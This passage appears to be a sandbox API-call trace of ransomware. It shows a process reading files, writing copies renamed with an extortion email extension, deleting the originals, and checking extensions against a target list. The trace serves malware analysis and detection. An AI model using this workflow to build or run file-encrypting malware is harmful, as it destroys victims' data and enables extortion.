lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x3710, lpOverlapped=0x0) returned 1 [0138.222] ReadFile (in: hFile=0x10a8, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0138.222] WriteFile (in: hFile=0x1088, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xea, lpOverlapped=0x0) returned 1 [0138.222] SetEndOfFile (hFile=0x1088) returned 1 [0138.222] CloseHandle (hObject=0x1088) returned 1 [0138.225] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0138.225] SetEndOfFile (hFile=0x10a8) returned 1 [0138.226] CloseHandle (hObject=0x10a8) returned 1 [0138.226] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0138.227] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml")) returned 1 [0138.227] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0138.227] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0138.227] lstrlenW (lpString=".doc") returned 4 [0138.227] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0138.227] lstrlenW (lpString=".docx") returned 5 [0138.227] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0138.227] lstrlenW (lpString=".pdf") returned 4 [0138.227] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0138.227] lstrlenW (lpString=".xls") returned 4 [0138.227] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0138.227] lstrlenW (lpString=".xlsx") returned 5 [0138.227] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0138.227] lstrlenW (lpString=".ppt") returned 4 [0138.227] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0138.227] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0138.228] lstrlenW (lpString=".zip") returned 4 [0138.228] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0138.228] lstrlenW (lpString=".rar") returned 4 [0138.228] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0138.228] lstrlenW (lpString=".bz2") returned 4 [0138.228] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0138.228] lstrlenW (lpString=".7z") returned 3 [0138.228] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0138.228] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0138.228] lstrlenW (lpString=".dbf") returned 4 [0138.228] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0138.228] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0138.228] lstrlenW (lpString=".1cd") returned 4 [0138.228] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0138.228] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0138.228] lstrlenW (lpString=".jpg") returned 4 [0138.228] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0138.228] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0138.228] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0138.228] lstrlenW (lpString=".doc") returned 4 [0138.228] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0138.228] lstrlenW (lpString=".docx") returned 5 [0138.228] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0138.228] lstrlenW (lpString=".pdf") returned 4 [0138.228] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0138.228] lstrlenW (lpString=".xls") returned 4 [0138.228] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0138.229] lstrlenW (lpString=".xlsx") returned 5 [0138.229] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0138.229] lstrlenW (lpString=".ppt") returned 4 [0138.229] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0138.229] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0138.229] lstrlenW (lpString=".zip") returned 4 [0138.229] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0138.229] lstrlenW (lpString=".rar") returned 4 [0138.229] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0138.229] lstrlenW (lpString=".bz2") returned 4 [0138.229] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0138.229] lstrlenW (lpString=".7z") returned 3 [0138.229] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0138.229] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0138.229] lstrlenW (lpString=".dbf") returned 4 [0138.229] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0138.229] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0138.229] lstrlenW (lpString=".1cd") returned 4 [0138.229] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0138.229] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0138.229] lstrlenW (lpString=".jpg") returned 4 [0138.229] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0138.229] lstrcmpiW (lpString1=".LOG", lpString2=".com") returned 1 [0138.229] lstrlenW (lpString="BCD.LOG") returned 7 [0138.230] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0138.230] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0138.230] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0138.230] lstrlenW (lpString=".doc") returned 4 [0138.230] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0138.230] lstrlenW (lpString=".docx") returned 5 [0138.230] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0138.230] lstrlenW (lpString=".pdf") returned 4 [0138.230] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0138.230] lstrlenW (lpString=".xls") returned 4 [0138.230] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0138.230] lstrlenW (lpString=".xlsx") returned 5 [0138.230] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0138.230] lstrlenW (lpString=".ppt") returned 4 [0138.230] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0138.230] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0138.230] lstrlenW (lpString=".zip") returned 4 [0138.230] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0138.231] lstrlenW (lpString=".rar") returned 4 [0138.231] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0138.231] lstrlenW (lpString=".bz2") returned 4 [0138.231] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0138.231] lstrlenW (lpString=".7z") returned 3 [0138.231] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0138.231] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0138.231] lstrlenW (lpString=".dbf") returned 4 [0138.231] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0138.231] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0138.231] lstrlenW (lpString=".1cd") returned 4 [0138.231] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0138.231] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0138.231] lstrlenW (lpString=".jpg") returned 4 [0138.231] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0138.231] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0138.231] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0138.231] lstrlenW (lpString=".doc") returned 4 [0138.231] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0138.231] lstrlenW (lpString=".docx") returned 5 [0138.231] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0138.231] lstrlenW (lpString=".pdf") returned 4 [0138.231] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0138.231] lstrlenW (lpString=".xls") returned 4 [0138.231] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0138.231] lstrlenW (lpString=".xlsx") returned 5 [0138.231] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0138.232] lstrlenW (lpString=".ppt") returned 4 [0138.232] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0138.232] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0138.232] lstrlenW (lpString=".zip") returned 4 [0138.232] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0138.232] lstrlenW (lpString=".rar") returned 4 [0138.232] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0138.232] lstrlenW (lpString=".bz2") returned 4 [0138.232] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0138.232] lstrlenW (lpString=".7z") returned 3 [0138.232] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0138.232] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0138.232] lstrlenW (lpString=".dbf") returned 4 [0138.232] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0138.232] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0138.232] lstrlenW (lpString=".1cd") returned 4 [0138.232] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0138.232] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0138.232] lstrlenW (lpString=".jpg") returned 4 [0138.232] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0138.232] lstrcmpiW (lpString1=".DAT", lpString2=".com") returned 1 [0138.232] lstrlenW (lpString="BOOTSTAT.DAT") returned 12 [0138.233] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0138.313] GetFileSizeEx (in: hFile=0x1098, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=65536) returned 1 [0138.313] CloseHandle (hObject=0x1098) returned 1 [0138.313] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26 [0138.313] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\bootstat.dat.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0138.319] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0138.319] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0138.319] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0138.319] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\bootstat.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0138.319] GetLastError () returned 0x0 [0138.319] ReadFile (in: hFile=0x103c, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x10000, lpOverlapped=0x0) returned 1 [0138.323] WriteFile (in: hFile=0x10a8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x10010, lpOverlapped=0x0) returned 1 [0138.324] ReadFile (in: hFile=0x103c, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0138.324] WriteFile (in: hFile=0x10a8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xec, lpOverlapped=0x0) returned 1 [0138.324] SetEndOfFile (hFile=0x10a8) returned 1 [0138.325] CloseHandle (hObject=0x10a8) returned 1 [0138.329] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0138.329] SetEndOfFile (hFile=0x103c) returned 1 [0138.331] CloseHandle (hObject=0x103c) returned 1 [0138.331] SetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x26) returned 1 [0138.331] DeleteFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 1 [0138.331] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0138.331] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0138.331] lstrlenW (lpString=".doc") returned 4 [0138.331] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0138.332] lstrlenW (lpString=".docx") returned 5 [0138.332] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0138.332] lstrlenW (lpString=".pdf") returned 4 [0138.332] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0138.332] lstrlenW (lpString=".xls") returned 4 [0138.332] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0138.332] lstrlenW (lpString=".xlsx") returned 5 [0138.332] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0138.332] lstrlenW (lpString=".ppt") returned 4 [0138.332] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0138.332] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0138.332] lstrlenW (lpString=".zip") returned 4 [0138.332] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0138.332] lstrlenW (lpString=".rar") returned 4 [0138.332] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0138.332] lstrlenW (lpString=".bz2") returned 4 [0138.332] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0138.332] lstrlenW (lpString=".7z") returned 3 [0138.332] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0138.332] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0138.332] lstrlenW (lpString=".dbf") returned 4 [0138.332] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0138.332] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0138.332] lstrlenW (lpString=".1cd") returned 4 [0138.332] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0138.332] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0138.332] lstrlenW (lpString=".jpg") returned 4 [0138.332] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0138.333] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0138.333] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0138.333] lstrlenW (lpString=".doc") returned 4 [0138.333] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0138.333] lstrlenW (lpString=".docx") returned 5 [0138.333] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0138.333] lstrlenW (lpString=".pdf") returned 4 [0138.333] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0138.333] lstrlenW (lpString=".xls") returned 4 [0138.333] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0138.333] lstrlenW (lpString=".xlsx") returned 5 [0138.333] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0138.333] lstrlenW (lpString=".ppt") returned 4 [0138.333] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0138.333] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0138.333] lstrlenW (lpString=".zip") returned 4 [0138.333] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0138.333] lstrlenW (lpString=".rar") returned 4 [0138.333] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0138.333] lstrlenW (lpString=".bz2") returned 4 [0138.333] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0138.333] lstrlenW (lpString=".7z") returned 3 [0138.333] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0138.333] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0138.333] lstrlenW (lpString=".dbf") returned 4 [0138.333] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0138.333] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0138.333] lstrlenW (lpString=".1cd") returned 4 [0138.334] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0138.334] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0138.334] lstrlenW (lpString=".jpg") returned 4 [0138.334] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0138.334] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0138.334] lstrlenW (lpString="OfficeUpdateSchedule.xml") returned 24 [0138.334] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0138.335] GetFileSizeEx (in: hFile=0x103c, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=4782) returned 1 [0138.335] CloseHandle (hObject=0x103c) returned 1 [0138.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml")) returned 0x20 [0138.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0138.336] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0138.336] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0138.336] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0138.336] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0138.336] GetLastError () returned 0x0 [0138.336] ReadFile (in: hFile=0x103c, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x12ae, lpOverlapped=0x0) returned 1 [0138.469] WriteFile (in: hFile=0x10a8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x12b0, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x12b0, lpOverlapped=0x0) returned 1 [0138.799] ReadFile (in: hFile=0x103c, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0138.800] WriteFile (in: hFile=0x10a8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x104, lpOverlapped=0x0) returned 1 [0138.800] SetEndOfFile (hFile=0x10a8) returned 1 [0138.800] CloseHandle (hObject=0x10a8) returned 1 [0138.801] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0138.801] SetEndOfFile (hFile=0x103c) returned 1 [0138.802] CloseHandle (hObject=0x103c) returned 1 [0138.802] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0138.802] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml")) returned 1 [0138.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0138.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0138.803] lstrlenW (lpString=".doc") returned 4 [0138.803] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0138.803] lstrlenW (lpString=".docx") returned 5 [0138.803] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0138.803] lstrlenW (lpString=".pdf") returned 4 [0138.803] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0138.803] lstrlenW (lpString=".xls") returned 4 [0138.803] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0138.803] lstrlenW (lpString=".xlsx") returned 5 [0138.803] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0138.803] lstrlenW (lpString=".ppt") returned 4 [0138.803] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0138.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0138.803] lstrlenW (lpString=".zip") returned 4 [0138.803] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0138.803] lstrlenW (lpString=".rar") returned 4 [0138.803] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0138.803] lstrlenW (lpString=".bz2") returned 4 [0138.803] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0138.803] lstrlenW (lpString=".7z") returned 3 [0138.803] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0138.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0138.803] lstrlenW (lpString=".dbf") returned 4 [0138.803] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0138.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0138.803] lstrlenW (lpString=".1cd") returned 4 [0138.803] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0138.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0138.804] lstrlenW (lpString=".jpg") returned 4 [0138.804] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0138.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0138.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0138.804] lstrlenW (lpString=".doc") returned 4 [0138.804] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0138.804] lstrlenW (lpString=".docx") returned 5 [0138.804] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0138.804] lstrlenW (lpString=".pdf") returned 4 [0138.804] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0138.804] lstrlenW (lpString=".xls") returned 4 [0138.804] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0138.804] lstrlenW (lpString=".xlsx") returned 5 [0138.804] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0138.804] lstrlenW (lpString=".ppt") returned 4 [0138.804] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0138.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0138.804] lstrlenW (lpString=".zip") returned 4 [0138.804] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0138.804] lstrlenW (lpString=".rar") returned 4 [0138.804] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0138.804] lstrlenW (lpString=".bz2") returned 4 [0138.804] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0138.804] lstrlenW (lpString=".7z") returned 3 [0138.804] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0138.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0138.804] lstrlenW (lpString=".dbf") returned 4 [0138.804] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0138.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0138.804] lstrlenW (lpString=".1cd") returned 4 [0138.805] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0138.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0138.805] lstrlenW (lpString=".jpg") returned 4 [0138.805] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0138.805] lstrcmpiW (lpString1=".avi", lpString2=".com") returned -1 [0138.805] lstrlenW (lpString="boxed-delete.avi") returned 16 [0138.805] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0139.105] GetFileSizeEx (in: hFile=0x10a8, lpFileSize=0x2f8ff14 